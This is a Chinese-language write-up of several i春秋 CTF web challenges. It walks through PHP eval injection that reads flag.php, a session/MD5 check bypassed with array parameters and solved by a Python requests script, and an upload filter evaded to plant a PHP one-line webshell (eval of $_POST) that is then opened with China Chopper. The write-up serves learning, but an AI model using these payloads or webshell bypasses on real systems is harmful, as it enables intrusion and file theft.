I春秋——web Write up(一)
前言:总结一下最近做的web题,从题中可以学习到很多知识。
**-1
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
给了一段PHP代码,里面还有简单的正则表达式,那就来分析一下。
/
表示的是正则表达式的开始和结束,^或\A
匹配字符串开始位置,\w
匹配任意数字或字母或下划线(a-z,A-Z,0-9,_),*
匹配0次、或1次、或多次其前面的字符(相当于可以输入多个字符、数字、或下划线),$或者\Z
匹配字符串的结束位置。所以在这里我们输入hello
可以执行
提示有说flag在某个变量中,还观察到var_dump($$a)
,可以使用超全局变量$GLOBALS
,直接在url中构造?hello=GLOBALS
即可flag。
做题小结:这道题之所以能够用超全局变量,就是因为输出时又多了一个$
,利用它构造一系列超全局变量,得出我们想要的信息。
$_SERVER 这种超全局变量保存关于报头、路径和脚本位置的信息
$_REQUEST 用于收集 HTML 表单提交的数据
$_POST 广泛用于收集提交 method="post" 的 HTML 表单后的表单数据。
$_GET 也可用于收集提交 HTML 表单 (method="get") 之后的表单数据
**-2
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
提示说flag不在变量中,用$GLOBALS
查看果然不在。
不在变量中,那就查flag.php文件,查到一个file_get_contents() 函数
可以把整个文件读入一个字符串中。
/?hello=file_get_contents('flag.php')
除此之外,我们还可以用另一个函数file()函数
。
?hello=file('flag.php')
即可得出flag
还可以
?hello=readfile('flag.php')
做题小结:通过上面三种方法,利用三种不同的函数,都可以得出flag,下面就区分一下他们之间的区别。
file() 函数是把整个文件读入一个数组中,然后将文件作为一个数组返回。
readfile() 函数读取一个文件,并写入到输出缓冲。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。
file_get_contents() 把整个文件读入一个字符串中。
**-3
给了一串php代码,分析一下
<?php
error_reporting(0); //关闭错误报告
session_start(); //开启session
require('./flag.php'); //引入flag文件
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();//time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();//session_destroy() 将重置 session,您将失去所有已存储的 session 数据
}
$value = $_REQUEST['value'];//$_REQUEST 用于收集 HTML 表单提交的数据
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//mt_rand() 使用 Mersenne Twister 算法返回随机整数
if($_SESSION['whoami']==
($value[0].$value[1]) && substr(md5($value),5,4)==0){//a . b 并置 连接两个字符串 "Hi" . "Ha" HiHa
$_SESSION['nums']++;//substr() 函数返回字符串的一部分。//如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
$_SESSION['whoami'] = $str_rands;//substr(string,start,length)
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
前两个if语句简单,重要的是如下语句
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
$str_rand
会从a到z中随机取一个字母。$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]
会拼凑成两个字母赋值给$str_rands
。
然后就来观察以下代码
if($_SESSION['whoami']==
($value[0].$value[1]) && substr(md5($value),5,4)==0){//a . b 并置 连接两个字符串 "Hi" . "Ha" HiHa
$_SESSION['nums']++;//substr() 函数返回字符串的一部分。//如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
$_SESSION['whoami'] = $str_rands;//substr(string,start,length)
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
很明了了,因为$_SESSION['nums'] = 0
,我们只需将上面的if语句循环十次(即$_SESSION['nums']++
循环十次),即可得出flag。
接下来就来构造语句,一开始的$_SESSION['whoami']
= ‘ea’,因此就构造
?value[0]=e&value[1]=a
又因为每执行一次,$_SESSION['whoami']
会变化而且值与$str_rands
相同,并且每执行一次都会输出$str_rands
的值,因此只要按照这个顺序输入十次即可得出flag。
当然可以也可以写一个脚本来做这道题,但是我们还漏掉了一个很重要的细节就是substr(md5($value),5,4)==0
,这个有什么作用那?可以写一个简单的脚本来测试一下看看
以数组的形式传入
所以刚才只要用数组进行
传参就没有问题。
当然我们分析一下就可以知道这个条件在数组的情况下
永远为真,因为在数组的情况下是不能MD5加密的,所以肯定==0
.
也可以写一个脚本来跑出flag,恰好最近在学python,参考大佬自己也模仿写一下
import requests
url='http://8e7202f5492447d5ab76eb8b7e8b4b27838e55901eba4c5f.changame.ichunqiu.com'
# 创建一个session对象
session=requests.Session()
# 发送请求
html=session.get(url+'?value[]=ea').text
for i in range(10):
html=session.get(url+'?value[]='+ html[0:2]).text
print(html)
得到flag
做题小结:web题有很多解法,但最基础的是一定要会写脚本,得加快进度学习python了
python中requests.session的妙用
python学习之-requests模块基础
requests session的作用
Upload
看到文件上传,就想起来用一句话木马+菜刀
,那就来先构造一句话木马。
上传
显示上传成功,我们来查看一下上传之后的php文件
把<?php
给过滤了,那换一种方法,在大佬的博客上发现绕过<?限制的一句话
<script language="php">@eval_r($_POST[pass])</script>
拿来试试
发现php被过滤掉了,那就将php改为大写PHP试试
没有显示,说明已经传进去了,菜刀连接
通过源代码可以知道上传路径,连接即可得出flag。
做题小结:和XSS一样,一句话木马也有很多绕过姿势,有空一定要总结一下一句话各种绕过姿势,最后附上大佬博客。
PHP一句话木马后门
一句话木马的套路
那些强悍的PHP一句话后门
上一篇: graphql_GraphQL简介
推荐阅读